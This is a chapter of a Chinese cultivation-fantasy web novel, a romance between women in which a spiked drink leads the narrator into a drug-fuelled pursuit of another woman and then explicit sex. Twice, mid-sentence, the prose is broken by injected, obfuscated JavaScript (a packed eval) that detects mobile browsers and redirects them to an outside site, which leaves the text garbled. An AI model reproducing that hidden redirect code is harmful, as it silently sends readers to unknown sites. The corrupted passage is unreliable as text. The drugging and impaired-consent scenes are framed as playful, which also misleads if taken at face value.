「嗯?」 【宿主……你再这么口无遮拦,等会被判定为调情,你的统可就要被关小黑屋,帮不了你检测哪杯水有问题了。】 「哦。话说,你真能检测出来?」 【能,你们这个世界,上等丹药都是丹修用法术搓出来的,就算不是补充能量类用途,多少会在制作过程中融入一些能量,加了药的水肯定有能量反应,宿主感应不到,系统精密检测,保证查出来。】 我没想到,云间月胸口起伏了好几下,竟然——硬生生忍住了?! 她怎么忍得住!我就那么礼貌问荷乘蕴一下,荷乘蕴就说晚上要来杀我,这都是明目张胆口花花,云间月——她怎么能没有反应??!难不成她是个萎的? “这就是你目的?”云间月对我微笑,“那你在门派也完全能做,还是说,你怕你家小姐发现,又或者介意人多不好下手?” 她这语气也,太太太温柔了吧……!欸不对,等会,她怎么知道这档子事的?按照系统说,她应该是没有经历过情事……所以我才有对她登徒子的兴致,如果她和别人…… 我有点蠢蠢欲动的亢奋瞬间熄灭下去。 “哦……”我意兴阑珊。 如果她和别人有过,如果她曾经以至于现在仍旧心里有人。哪怕是记忆而不是身体,我也, 我勉强撑着笑问:“你怎么知道这些?” 也会很介意的。 “……”云间月不说话。 我有点撑不住。背过身去:“那你有心仪对象了吧。我是说过中意你。但你早说,我就不打扰了。”我不想上赶着往心里有人的人身边凑,知道对方有心上人还要做登徒子。那样太不尊重我自己——玉燃兮除外,这是我的家人,面对家人,只有我劝她们迷途知返,没有我嫌弃这是累活的道理。我可以换个方式接近云间月,不必非要做她的登徒子。 “看来的。流行的话本子你不看么!”云间月听语气好像是急了,在我身后悉悉索索,一册东西递到我肩上,压着。 我以为是系统传给我的那些文字版资料,那些我看过的多了,要不是看过这么多,哪能天天觉得见谁都想啃。 我意兴阑珊接过肩头的书,抱着说不定会看到交叠小人的准备。 只见封面上印着: 〈第一书坊每月新刊,一睹为快! 写书人:九万岁〉 〈本期以下内容: [从小被遗弃孤城之修仙后亲族找上我] [万鲤宫宫主和她的鱼池爱恨情仇篇] [神算叁笙与你畅谈未来] [转生成为只有打工人破灭未来的合法萝莉] […………] [……] 〉 粗略扫过。我把书还给云间月。看见万鲤宫三个字,我立刻知道这是什么书。不是八卦就是杂谈,万鲤宫是五界最大的情报组织,听说能撬开死人的嘴问出消息,传闻总部在一处小世界中,宫主行踪成谜,从来没有人见过。世间因此八卦无数。想也知道不管书上写什么,都不可能是真的。 云间月……原来她不去上课的时候,就在宿舍捧着这些故事打发时间。 我还以为她看的都是深奥功法呢!我的兴致回来了,“你在解释,你喜欢我。” “……”云间月瞥我一眼。 不是,她怎么……一直不说话?欲语还休,或者说,她在打量什么。 她在打量什么? “说句话,算我求你行不行?”幽幽烛光下,我有种被什么东西窥伺着的毛骨悚然感,仿佛我对面的不是活色生香绝世美少女,而是真正的白骨夫人。 “褚灵佑。”不做声的云间月忽然叫我名字, 配合这灯火,这风雨欲来的沉闷夜晚。我打了个哆嗦。 “你……真的喜欢我?”她一双藏有凛冽霜雾的眼睛看着我,声音轻柔,像一张网。 “那、那还能有假!我最喜欢女孩子了。”这倒是真的。不是我嘴硬。我和荷乘蕴都亲过,我肯定是喜欢女孩子。我单方面觉得我和荷乘蕴不是敌人。她性格我欣赏,如果能和她做朋友我会很高兴。 云间月离我近了点,声音比系统还幽森,温柔似水:“这是你说的。”她对我伸手:“来,等会我们再开一间房吧。” 我越来越听不懂她在说什么:“一间还不够?” 她笑,像个艳鬼,“不够呢。” 我才知道原来这么清冷禁欲一张脸也可以笑得眼角有红晕,眼波动人,在云间月把她的手抓住我手臂时,我下意识想推开。 她没让我推,抓着我,不放手。 【嗯……】系统吱声,我像找到救星, 「快看看她是不是不对劲,她黑化了?!难不成荷乘蕴这次改用迷烟我俩都吸进去中招?」 【不是,我就是想提醒。你俩——你和女主的话题,好像不太对。说不出来哪不对,不过宿主小心女主蹦出什么惊世语句统被关小黑屋。】 我看着她另一只手在桌子底下,拎起一坛东西。 我诧异看她。原因无它,她拿的不是常用的水壶,分明是个酒坛子! 我本身,是很不喜喝酒的。 喝酒误事。也易生事。每次宴会总有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613094|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少劝我家小姐喝酒的必要交际,不喝不行,不得不喝。 我扶着喝醉了的我家小姐,她靠在我怀里,唇舌微张,像无法呼吸一样细微地喘。 云间月手中毫不费力拎着酒坛,晃了晃。 “你……”我迟疑,不确定是不是要让云间月把酒坛端上桌。 “你不是,想追着我喊美人?”云间月轻巧穿过我手臂,把酒坛放在桌上,她反问:“那没有酒助兴怎么行?” 我脑子“腾”地一下。 不是吧,她,她,真是我想的那个意思—— 「系统?系统?」 我叫两声。 系统没动静。 ……这也是个答案。系统都这么判定。 我站起来,同手同脚。 我自认为我是个不太禁撩拨的人。 我得提防着点云间月。 我和系统说好了的。不会对她怎样。 哪怕她倚在榻上和我喊,‘大王!快来呀!’ 我我也坐怀不乱。系统不在了也不要紧,只要我把所有能喝的都喝光,把杯子都用一遍,看看身体有没有异常就知道了! 我镇定地坐在云间月面前, 拿出原本就摆在桌上的两个茶杯。 还不等云间月说话,我倒了两杯酒猛灌。 哦,我喝完了。 啥事没有。 那那那不太对耶——我慢慢放下一左一右两手中的茶杯,在这个过程中想,有点不对。 云间月看着我闹。 我这会多喝了酒,反而头脑清醒起来,微醺醉意使我不再害怕云间月身上散发出来的十足古怪,我慢慢,张开我的感官。 世界在我眼中变为流动的能量。 现在,我的眼还看不穿障碍,无法穿透实物,但好在寻常摆设大多不具备能量,我看了一圈, 视线落在云间月身上, 她见我看她,她明显是想在我身上打什么主意,好像自己也不太熟接下来该怎么做,幽幽问我:“准备好你追我赶了吗……我现在开始逃?这样,你就可以说那句话。” 我……我真是受不了她这么温温柔柔和我说话,她一开口我忍不住哆嗦。 我一把捂上她嘴,摇头:“嘘,安静。” 我,忽然意识到一件事。云间月她身上有那种连接仓库的暗袋。 实际上是一个遍布复杂契约的口袋,连接实际存在于某处的仓库,可能有一个储物柜那么大,也可能是真正的仓库,每个暗袋附赠一套能够支撑对应大小仓库的契约,想要在哪里储存东西就贴哪,契约可以无视五界一切禁锢,让仓库随时随地打开取用。 五界之中,最擅长这种符术的是万鲤宫。 万鲤宫总部独立于五界之外,除了经营消息买卖,偶尔她们也做做其它生意,于是有过一些暗袋流落五界,不少势力为争夺打得头破血流。希梦淮就有一个小仓库,从里面拿出古琴。但她是大门派掌门的女儿,弄到这种东西无可厚非。 云间月……她有许许多多机缘,她身上一定连接着小仓库,不然之前她拿不出那么长一条金属疙瘩。 “来吧!”我示意云间月开始她的表演。 云间月看看自己双手双脚,她真的开始后退,打算跑。 我抓住她衣袖,我们就像我看见的那些画面一样,她逃我追,不知不觉中,衣襟松散, 我看准时机扑上去,手指穿过她有些松散的衣襟口,摸索到和衣服质感不同的口袋。 我从她怀中, ……真的摸出来一个杯子。 破案了。 不是客栈的杯子有问题,是云间月自己自带凶器。她当初怎么就没想到凶器是自己杯子。 剧情走早了,怎么办? 重触发一遍。 我把杯子放在桌上。慢慢,又给自己倒杯酒。 云间月看着我倒,她立刻要喝,我手疾眼快按住她。 “等会再喝,你先告诉我,那这是谁的房间?”我忍不住梗着脖子,后颈一层冷汗。 “嗯,你的。”她眼波柔情。 “行,我住三号房!你这就去再开一间!”我赌气般,提高音量大喊。 “一起去罢。”她邀请我。 “我……”我只觉手臂上鸡皮疙瘩一点点往外冒,“我脚软,你先去。” 云间月看看我。出了门。 我一下子松懈下来,吐出口气。 不行不行,我也立刻悄悄出门。 我使了点法术,悄无声息把三号门牌连着钉子一起拔下来,和对面的四号换了个位置。 现在,我的三号房,就是等下云间月要住的四号房了。荷乘蕴肯定会在这个四号房的茶杯里给云间月下药。 等她下药后我再把门牌换回来,云间月去对面她新开的房间,有药这间就是我的。我就只是闲来无事换门牌恶作剧玩,真该有人来教训我也是客栈伙计,犯不着用天雷这么高大上的好东西。 我故意让自己发出脚步声,穿过前面两间房。 这只是个计策,要是不管用还有下一步。 我背对身后房间,没出走廊,看见在柜台前听伙计说话的云间月。 云间月在打听什么,伙计对她说: “客官,晚上莫乱跑,这附近本就不太平,挨着的两个村子犯了事,成年村民被官差押走,村子现在不收留过路客,再往前几十里才有村落,客官往前走可有个准备。” 云间月点点头,从伙计那接过钥匙。 我计算着差不多了。一转身往回走,再悄无声息把门牌对调过来,在四号间门口等云间月。 云间月完全无视我意愿,拉着我手就重新进了有药的三号间。 酒杯还在桌上,纹丝未动。 【嗯嗯嗯放开放开你个该死的小黑屋我宿主可什么都没做做做——宿主!就是这杯——】 系统死掉了。 想必是被小黑屋拖着坠入无间黑暗,只有我洗干净我的脑子它才能重新出来。 云间月真的,真的很想喝那杯酒,也是,她这么执着一个人,哪管房间是谁的。 “喂。”我扭过她的脸,“看我。” 云间月的脸,在烛火下带有一丝温度,眼角有些发红,她眼珠向我手指方向挪一点,游动回去。 这个瞬间,她的无法呼吸传递给我,我的紧张,我想,也传递给了她。 她明知道会发生什么。我们彼此心知肚明。 紧张氛围,不是说笑。云间月使我莫名紧张。 今天的她好奇怪。 我容忍了她的奇怪。她……可能不是在发狂,而是…… 在求助。 “我最讨厌别人在我面前喝了酒很难受,”我拿起那杯酒,凑到唇边,“所以我呢,一直想试试替人挡酒是什么体验,但我家小姐的酒我没有资格替她挡。” 云间月凝视我,我看见她嘴唇蠕动,我喝光了酒。 一滴不剩。 我凑近她,淡淡酒气,她的脸离我很近很近。 头昏脑胀胡思乱想。如果我现在亲她一下……她应该……会让我亲的吧? 我是怕她。 不管是书中女主,还是云间月,在我来看都是如同反派一样邪门的存在。也许我该把她们两人区分开。 我离她,一指宽距离。她也没躲。 英雌救美……貌似是个加分项。以后还得再刷下来。 不然会被雷劈……我与她对视,先一步错开目光,后退。 转身。 我向前走了。嗯,我不得不走。再留下不知道会发生什么。 云间月似乎想拉住我,我余光瞥见她手伸出去一半, 我已经走出几步远,回头。 有些醉醺醺,或者。纯粹是不怎么清明,带着酒意对她眯眼笑。 我都快看不清她了。 烧得厉害。 云间月嗫嚅,她可能是……心虚? “你……知不知道你吃的是什么?” “……不太知道。”我说。我确实不知道,系统就说这是药,没毒。但有副作用。那就行了。比她吃出个人格分裂强。 我把眼睛睁开点,眼里有泪水,对她笑笑:“但我知道我现在很难受,我得走了。” “你……”她看起来还想说什么, 我对她摆摆手,感觉自己脚底打晃,“明天见!” 我挤出点沉稳,压低声音安慰她:“没事,明天一定会见到。晚安……我的女主。” 是的,云间月她是我的女主。不是书中女主。 云间月没能踏出那一步,注视那个女孩子走远了。 她无比清楚那是什么感觉,她不可能忘,整个人被从内到外燃烧起来,身体每个毛孔都在火烧火燎地热,她无法呼吸。 只有让全身,甚至咽喉都溺在最冷的泉水中,才能勉强忍过一二。 ……她明明知道。 还是让那人喝下。 她现在,是在后悔吗? 云间月不知道。她只看见褚灵佑眯着眼,眼里光芒一闪一闪,一半神情熏着醉意,一半是认真,口中说无事。漫不经心,不在乎地对她摆手。 她说,没事。明天见。 “……” 心中有不安。 无法看清未来,被迷雾笼罩的感觉。 还有些……无法形容的…… 如果,褚灵佑不那么看她就好了。 即使闭上眼。 也还是会回忆起那双眼睛。 “……” 云间月慢慢坐到椅子上。垂眸凝视那杯空了的茶。 褚灵佑明明……很喜欢缠她。 这时候…… 却走了。 云间月终于想明白。 她是想——和那人一决胜负。 上一世,她在冷泉里浮沉。 她是想——看看那人有什么解决办法。 却又因为对方毫无留恋走了,感到不甘心。 云间月取出新杯子,还在思索。 是的。 上一世这时……是她很渴。 所以才急不可耐地喝光那杯茶。 云间月摩挲几下杯子,重新为自己倒了杯无毒的清水。 慢慢,慢慢喝着。 16.漏雨 我从云间月的房间落荒而逃。 这话不假,云间月站在那里,对饥不择食的我来说就是个大香饽饽, 她干干净净的。 如果我压倒她。 她就是我的了!嘿嘿!我要把她推在……问她喜不喜欢我这么对她!然后…… 哦。哦。 不行,刚刚的话忘了吧。我现在脑袋不正常。感觉好像吃下双倍剂量的药,要不就是…… 说不定女主那个人格分裂长到我脑子上,糟糕,我快长脑子了!啊不是, 是我脑子上快长人了! 系统一声爆鸣挣扎:【——出来啦!不会的!不会的宿主!有292在,宿主脑子上没地方长人!这点可以保证。但现在……现在宿主怎么办?】 我努力想想。那……这算是件好事。我还是我。 「没事。今夜你不用出来。」反正等会肯定要进小黑屋。 也没事,难受的不一定是我。我又没必要一定要去神界,不必守戒律。找个人…… 哎。我现在,整个人,和火烧似的。 看见个活人都能扑过去。 浑身上下好像有使不完的力气,感觉轻轻一蹦就能飞出屋顶,在月光下踩着风遨游。 浑身满满的都是劲儿! “呜呜呜我好难受……” 我哼唧着,挪回到我自己房间。脑袋忽然清明了一瞬。 不对啊,刚刚那个,才是我房间。这个…… 这不是云间月房间吗?! “错了!错了!”我喃喃自语。 但我没力气,算了。错就错吧。 反正我房间里没什么东西。 云间月房间也没比我那间多出什么。 “……”我, 与那个人。 那个云间月房间里多出来的东西,对视了。 还真有啊。 我的娘耶! 还是个活色生香的大美人。我记得……之前亲她那次,她就不怎么会亲,她肯定是干净的! “美人儿……”我迷迷怔怔,向荷乘蕴扑过去! 我扑上去抱住荷乘蕴,她竟然没第一时间推开我,只是撑着我肩膀,让我别把她脖子勒太紧。 “你怎么这样啊!”她还没说完话,我立刻上去啃她,亲热搂她—— “褚灵佑!” 门口传来一声呼唤。 我迷迷茫茫回头。 门口还有个大美人。 啊。要是我能坐享齐人之福,我该有多幸…… 不行不行不行,那个是女主! 我回了点神,去听云间月要说什么。 “房间错了,那间是你的。” 她果然注意到这件事。 我搂着对我怒目而视的荷乘蕴。真软。 “好。我们去那间房。”我抱着荷乘蕴就要走,荷乘蕴这会也发现我不太对劲,手臂用了点劲托着我,她搞不清楚状况,我怕她对云间月出手,使劲,牢牢扒着她。 “嗯?你,你怎么了?”荷乘蕴凑近看我脸。 也对,她不知道她下的是什么药。我不能怪她。 “我难受……”我哼哼着哭,很小声。不想让云间月听见。 荷乘蕴好像震了一下。她抱紧我。 她没走。 她竟然……没去一刀砍了云间月? 那我是脑袋烧迷糊了,以为这个世界围着我转。 现在实际情况说不定是我把荷乘蕴按着,脑袋里听见我想听见她对我说的话。 “褚灵佑,你……她……”云间月好像在说什么,她发现荷乘蕴是她上一世仇人了吗。 肯定会发现的。 算了,都不重要。 我快要。爆发了。在这一刻我好像知道为什么云间月说,一间房,不够。 这么说好了,还什么都没开始。 我的鞋袜,湿漉漉。这也是人能忍的,云间月——她是块石头吗? 我两条手臂紧紧绞着荷乘蕴肩膀,埋在她怀里,偏头,露出一点眼神给云间月,“有点事,你不必担心,这是我的熟人,你看,她认识我的……” 云间月有迟疑。 荷乘蕴应下:“我们是认识,怎么了?” 我对荷乘蕴低吟:“去对面那间房……” 荷乘蕴揽住我,托着我向前走,路过云间月身边时,她哼了一声,脚步半点不停,带着我走了。 云间月目送我,当我走过她,她轻微转身,继续……看着我, 直到房门在我眼前闭合。 “怎么回事?”荷乘蕴一进屋立刻问我,她脸上有关切。 她不问我还好,她一关心,我体内的火好像要烧出来,烧得我窒息,觉得她身上凉凉的,她呼出的空气都是冷的。 “我……”我说。 “美人儿!我来了!” 我一掌推她。她被我这一下猝不及防,向后倒在榻上, 我饥不择食扑上去。 荷乘蕴到底是练家子,在我扑到她身上前,从榻上闪身躲开。 她惊魂未定——迟疑地看我。看看我,又不确定看看床榻, 然后再更加不确定看看我。 我眼中,她是个美得不似真人的女仙。 “美人儿,美人儿,不要跑嘛!” 眼见女仙姐姐离我而去,我追她,她绕着床铺桌椅打转,这房间每个家具摆设,都成了我和她之间阻碍, 轰隆!!咣当!砰!阴沉沉的天落下闷雷, 我砸烂很多东西,木屑起飞,荷乘蕴抖了一下,在房间里四处乱闯。 “嘿……”我对她笑,双眼迷离,“你,女仙姐姐……你出不去的,我,设了结界,就算你叫破喉咙……” 美人儿的表情就像活见鬼,好像不理解为什么她几千年修为打不过我一个刚开始修行之人, “因……因为你的药呀。”我也没什么理智了,大概是这样,让女主分裂的药到我这里成了大补,我修为大涨,满嘴胡诌:“你等在云间月房间,一定是你给她下的药,我喝了那杯茶。”这也说得通吧,完全能解释我为什么知道是她下药这件事。 美人儿的表情更见鬼了。那一瞬,她,有沮丧,懊恼,许许多多负面情绪,她没有停下,我们还在绕柱。 “我,我没有想下这样的药!”她大喊,“我原本在这间!打算等云间月过来喝了药动刀凌迟她,见你们一起过来才逃到对面房间。药是我下的,但我不是那样的人,真的!真的没有!我就是想抓住她让她以命换命!谁要跟她做这事!” 我知道。她不是故意的。她急得双手一直比划,好像手能代替她开口说话。 可爱。 不知道我们绕了多久。 累了,够了。 汗如雨下,都安静下来。 出汗能降温,我恢复少许神智。 我认出对面是荷乘蕴。栽在床榻边上,慢慢喘匀气。 我闭了闭眼,随着吐出一口气,睁开。至少这刻,我是清明的。 我说:“算了,我给你下过药,你也反过来给我,人真是要少做坏事。” 我在攒劲儿,稍微有点力气就走。 荷乘蕴离我大概五步远,我能看见她紧张地抱着手臂,手把衣服掐出褶子来。 她问我,“你……是真的很难过么?” 我发出喘息,坐着,低头,歇了一会。 说:“嗯。特别难受,身体里像有一团火。” 荷乘蕴注视着我。远处闷雷连响,这场雨,就快来了。 她注视着我。 这场雨先至。 哗啦啦,打在房顶屋檐上, 敲打门窗,墙壁。 像珠子,噼里啪啦。 我不知道荷乘蕴在这间隙里想了什么。我的力气快攒够了。 我摇晃着站起来。 世界天旋地转。 也……没事吧。女主现在又没受伤,就算荷乘蕴等会破开结界去杀她,应该也不会有太大事,顶多云间月被毒打一顿,肯定有她的机缘,死不了的。 我走过荷乘蕴,擦了擦眼睛。 是走过了她。我才擦的。 她忽然伸手,一把抓住我手臂,让我扭过脸来。 她看着我。 她看见我的泪痕。 其实那不是泪痕,是……窗户上落下的……水呢。 真是。怎么隔着窗户……落到我脸上来了。 荷乘蕴好像被吓到。 她怕什么? 她拦在我面前:“我……是火属性。我知道被灼烧是什么感觉。一人做事一人当,我行得端坐得正,药是我放的,就该我来给你解!来吧!” 我晃了晃脑袋,惊讶了,问:“你确定?你……不是要修仙么?” 荷乘蕴搀着我说:“修仙有什么意思,连东西都很少吃,人都说做这件事最畅快,我却没经历过。仙是最不食人间烟火的。我还不愿意去那神界呢。” 欸? 荷乘蕴把我扶到榻上,自己翻身一倒,“来吧!” 嗯……我这个人很经不起撩拨。 ——我扑上去。 雨声,水声。 不知道是什么时候开始,又用了多久,我在亲她,好好用力亲过她,从柔软唇舌,到咽喉。她的呼吸隐匿在雨水里,和雨一样又细又密。 我还做了一件事,我解外衣中衣速度都很快的…… 我把脸埋在她胸口。我我我之前就想做这件事! 不是,是太大……我语无伦次,也不是,我手忙脚乱? 也不是,就是,一开始是只啜一口…… 真的,我就打算咬一下!我又没看过娘的……好,好奇嘛…… 荷乘蕴看起来也很,配合。我动动这里动动那里,她不拦,很快,就变成揉面团,还有咬。 软软弹弹,一点汗液混杂清冽甜香,轻微的腻,没想到她这么个泼辣性格,却喜欢这样偏甜的香。 我埋在清甜香气间,揉面动作不停。 她的声音渐渐比雨声更清晰,在房间里缭绕耳畔。 浅浅的,缠着我。 我直起身,贴近她小腹。贴上,这里贴贴,那里贴贴,边向后退。现在,窗外的雨也落在她身上,湿漉漉的。 我退到她腿,坐着,缓缓寻找我要找的地方。 我正好坐在那,酝酿好起势。 惊雷中,窗外被风卷起疯狂摇曳的树影投落在我身上,我与树影同步,看不见它舞动。它对我是静止。 我在天际被频闪映衬得发亮的微光中看荷乘蕴。她感应到我视线,我们视线因为颠簸不太同调有些错位,她捂住脸。 现在,她声音像是雨声。 溺着水的。 雨水落了很多在身上。我几乎听不见远处的闷雷。我一直比雨更潮湿。 耳边是血液鼓动声,或是呼吸。 我不知道那是什么感受。被包裹触碰贴合。 我的确,很快乐。 荷乘蕴抓住我手臂。 她僵直,紧绷。 然后松弛下来。 “你……”她低呼,“你怎么这么懂啊!我……雨都落在我身上了,这房间不会漏雨吧……?” “有吧。”我笑,“是我漏雨了。其实你也是。” 她不可置信一摸,整个愣住,颤了一下,没想明白这是什么。 最后她看看屋顶,怀疑:“这……不像是雨啊?” 我笑得更开心,从她身上起来,跪坐在旁边,伸出手指。 她没有阻拦我。手指向下,前伸,触碰柔软的连绵雨水。向两侧分开时像下了一场小雨,指尖穿过小雨纷纷。 “嘶!”她叫一声。 我知道她是痛了。一手两指指尖极慢极慢向两边张开,另一手掠过上面一点。 柔柔的雨。她好像好受很多,不再说话,呼吸仿佛融化在雨里。 指尖穿过水雾阻碍慢慢拨云见日,里面是更柔更软,层叠的褶皱。感触到一点凸起,按压它。 我空出一只手支起身体,凑在她耳边慢慢说话吹气:“记住它,你有什么感受……等下也这么对我。” 我对她不断说了几句,多半是轻佻情话,边说边轻轻吹她的脸。 她无暇侧过脸来看我,只挪过点眼神,顺带挤出一连串眼泪。 现在,舞动的影子,是我那只手。 我凑在她耳边,与我手上速度正相反,细致,缓慢诉说我的那些文字版资料。 文字版的都是故事精华。 说几句,我就吹一下。 其实我还没说太多。就几口气功夫, 指尖被推挤,她把我抱在她身上,我枕着她胸膛。 听她心跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635591|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如雷。 缓了一缓,荷乘蕴起身, “我……我也要给你……是不是。” 她脸颊直接越过我的手,更往下贴住。 我变干燥了一点。但没有用。源源不断,她寻找半天,找到哪里是源头,柔软试探着堵住。 我思绪飘散。 闪电白光从窗外扑来,雷声越响,她描绘得越深。 最后几乎一次次擦着而过。 白光扑向我,等会……她又要说房间漏雨了。 “等等,我观察一下……” 荷乘蕴话还没说完,我身子向前一探,她脸上露出身陷宇宙深邃奥秘的茫然,不知自己手在哪里。 正好她思考,我僵住一会。痛感不是很强烈,有轻柔的肿胀刺痛。 荷乘蕴回神,也不知道她想没想明白。 她在耳边惊呼,“有血!” “一点点啦,别担心。”我懒洋洋呼吸,“不会很多的。” “你一定很痛是不是?!”她又凑下去。唇舌去贴我的源头。 我又一次变得干燥。她用柔软触感漫过我,我感受一阵干燥,一阵湿漉漉。交替反复。 渐渐地。荷乘蕴学会了时而急时而缓,堵住我时描绘得更深,会转动,勾勒出更多角落褶皱。她的手指学着我刚才,轻捻,伸入,触碰到我身体中枝桠,她不断填充,同时继续以柔软口腔描绘上面的一点。 我在闪电扑来时想……她明明很爱说,不是个闷性子,这时却不擅说情话。其实……我有点想听,以后她也能学着说给我听就好了。 荷乘蕴没有起来,感受白光来了好几次,我已经在山峰与山峦中游走很多次,不再那么急,反过来拉住荷乘蕴。 我现在更好奇她的一些反应。 这个夜晚,雷雨轰鸣。 闪电划破了天光,接连闷响的雷在头顶滚落,我看见荷乘蕴湿漉漉雾水般的脸, 雷雨成了我们之间助兴点缀, 雨声中,听不见她哭。 雷声中,听不见我摆弄她时的笑。 黎明时,真的有雨水落进来,我手臂间落满了雨水,雨水来自荷乘蕴。 和少许粘稠,大半滑腻质感不同。 这阵雨是清透的,没什么味道, 我满面红光中气十足起身,打湿手帕回来,慢慢为她擦拭。啊……确实是,如果后半宿还要休息的话,的确是再需要一间房。但时间说少了,后半夜睡不得。所以还是只一间就够。 她这次真的牢牢捂住脸,哭腔浓重: “我……我以后……还怎么见人啊……” “有什么关系。”我靠在她胸前,“这是我们之间,别人不知道的。当然,要是你说出去……那就有人知道了。” “我对谁说?!”她低呼。 我想想,斟酌用词:“下一个……” 她不捂脸了,扑上来亲我。 “我……我不是那种滥情的人。”她胸膛起伏。 “……?”我想对她说什么,“但我,我应该是?” 毕竟我以后还要做女主的登徒子。 而且我是真的喜欢云间月的脸。 “哦。”她冷笑。“我又拦不住你,只是我自己做不了那种朝三暮四的人,一旦喜欢就要喜欢好久。不要求你也这么做。再说,你大概不喜欢我。我知道,露水情缘。” “我欣赏你的。”我说,“第一次见面就是,你忘啦?” 她沉默,“没忘。我突然发现,你没对我撒谎。你当时怀里——” “还抱着一个。”我接上后半句。 “……” 这回,荷乘蕴许久说不出话。她又陷入那种天人交战的迷茫了。 看不出来,她在这方面……竟然是守旧传统。 我帮她清洁身体,忽然发现她胸前有个奇怪印记。颜色不深,之前竟然没注意…… 乍一看像是文字,仔细看又不像。别看五界各族文化迥异,世界存续很久,文字和语言是通用的。 我试着擦一下,印记还在。不是画上去的。 “这个……是你的纹身?” “嗯?”荷乘蕴知道我在问什么,放空思绪回答:“……算是吧。有几年。没什么感觉。” 这么守旧的荷乘蕴会纹纹身……? 还不等我细想,荷乘蕴回神,看我垂落耳边的断发,语带愧疚: “头发的事……我当时很生气,不会道歉的。谁要你要说那种话。” “嗯,习惯了也还好,省下很多梳头时间。这是我应得的。我一开始就没生气。” 我真的蛮欣赏荷乘蕴这种性格,哪怕那天她说要来杀我。 反倒是荷乘蕴有点臊了…… “褚灵佑,你,真是个恶鬼。”她咬牙切齿。 “色中饿鬼?”我低语。这词也没错。 “是啊!你抱了我一宿!我说不要,不要,你哪里有听过……”荷乘蕴似乎有些嫌弃,扁嘴,眼泪又要落下来:“你这样……我不知道能受几次,你最好多找几个,省得我下半夜难熬。” “这么说,你想和我度过时间?”我想到办法了。让她不再追着云间月的。 “是又怎样。”她气鼓鼓,“我同意你找很多个。你都不肯说我们是情……” 我按一下荷乘蕴嘴唇。“暂时不能这样说。如果被我家小姐听见,处境会让我很困扰。” “是哦……”荷乘蕴理解了,“我知道,人界是礼法最重要,为了不让你受惩罚,我来想想,我们应该是……朋友?” 她在问我。好机会。 “那就是朋友。你一门心思追云间月,我也会吃醋嘛。”我乘胜追击。 “她杀我徒儿亲友,怎不算——” 我捧住她脸,悄声,“你看云间月那性子,她可以杀人,但倘若你问她,她肯定二话不说就认了的,可现在云间月她,”“她从来没认过!” 荷乘蕴反应比我还快。 “是啊。”我循循善诱她,“云间月不认……这件事有古怪,万一真杀错人岂不就线索中断,不如你先等等,今天我们三人一起去看情况。这中间肯定有事,要真是她做的,总归你找她这么多天,还怕她跑不成?到时候我帮你按着她,你杀她给你徒儿亲友出气也不迟。” “真的?”荷乘蕴振奋起精神,捧着我的脸:“那好,就去看看。是吧,我的朋友!” 17.解决中 一早,我和荷乘蕴出来。 云间月房门敞开着,她坐在里面望着对面墙壁,桌上有杯子,好像在喝茶。 我快步走到她面前。 我故意不说话,想看看她先开口会说什么。 一宿虽然动静很大……有设置结界,应该没人听见才对。 ……失败了。我没从云间月脸上观察出任何反应,好在她不拒绝交谈,我直接对她开口: “这是荷乘蕴,你认识她徒儿。她要给徒儿报仇,认定是你动的手,所以一直在追杀你。你们……试着聊聊?” 荷乘蕴走到云间月面前,大马金刀往那一坐,我让开位置,让她们两人互相面对面。 云间月看我一眼,示意我关门。 我一指,门自动闭合,顺便设置隔音结界。 现在这里的对话只有我们三人知晓。 “原来你是她老师。骆惊时她……”云间月缓缓开口,“的确不是我所杀。我们在门派大比上相识,一起接委托,我没理由杀她。但她的确因我而死。只是我不能说,如果我说出来,现在这里,当场就会有雷劈。我们都会死。信不信……随你吧。” 荷乘蕴盯着云间月,云间月不卑不亢,没有惧怕,也没打算解释更多。 “委托的事……我听过一点,听说是这附近官府派的,说是山里闹妖精,在你们接委托前也找过别的修士,没好使,但事发当时只有你们两人,你怎么证明不是你杀的她!”荷乘蕴语气没有一开始那么冲,也不太客气。 眼看交涉陷入僵局。 【宿主。】系统出来提醒我, 【宿主完成任务有奖励,可以选择查看这段记忆,能查看的记忆都是当前世界发生过的事,根据宿主需要从当事人那里截取并投射,不固定视角。只要宿主想着要查看这段,激活奖励就能看见。】 「很花时间吗?」我问。 【是直接投射,瞬间的事。不浪费时间。】 「那好。」 我使用了奖励。 不算白费次数。我正在解决问题。 随着投射,一段记忆展现在眼前。 “都说了不让你们这些人不人鬼不鬼的修士来处理!!!” 烂菜叶子树枝野草大块垃圾迎面砸来,大吼在耳畔轰轰作响,我下意识一躲,意识到自己现在没有身体,是在看过去发生的事。 只是……这也太身临其境了一点,云间月和另外一个年纪相仿的蓝衣女修被堵在像是村门口的地方,两人身边围了几十个拿着武器的壮年村民,还有老人拽着小孩,说不要上去,修士都是随意杀人的。 ……如果真的会随意杀人,这群人怎么还敢围攻云间月二人? 云间月不是会说话辩解的性子,她旁边的蓝衣女修看不下去她这么被人追着打,想把她拖走,可云间月固执站在人群中不动,最后只有她一人脱离包围圈。 蓝衣女修气不过,又没办法,在人群外思索着什么。 一时间耳边只有村民的辱骂声。 “你们之前不是来过!说我们被邪术蛊惑,要屠了我们的村子!我呸!” “今天非要让你们知道厉害不可!有白娘娘在,你们休想再杀我们!!” 眼看村民已经高举草叉锄头往云间月身上招呼,蓝衣女修要使法术隔开人群把云间月救出来, 轰隆隆!!!! 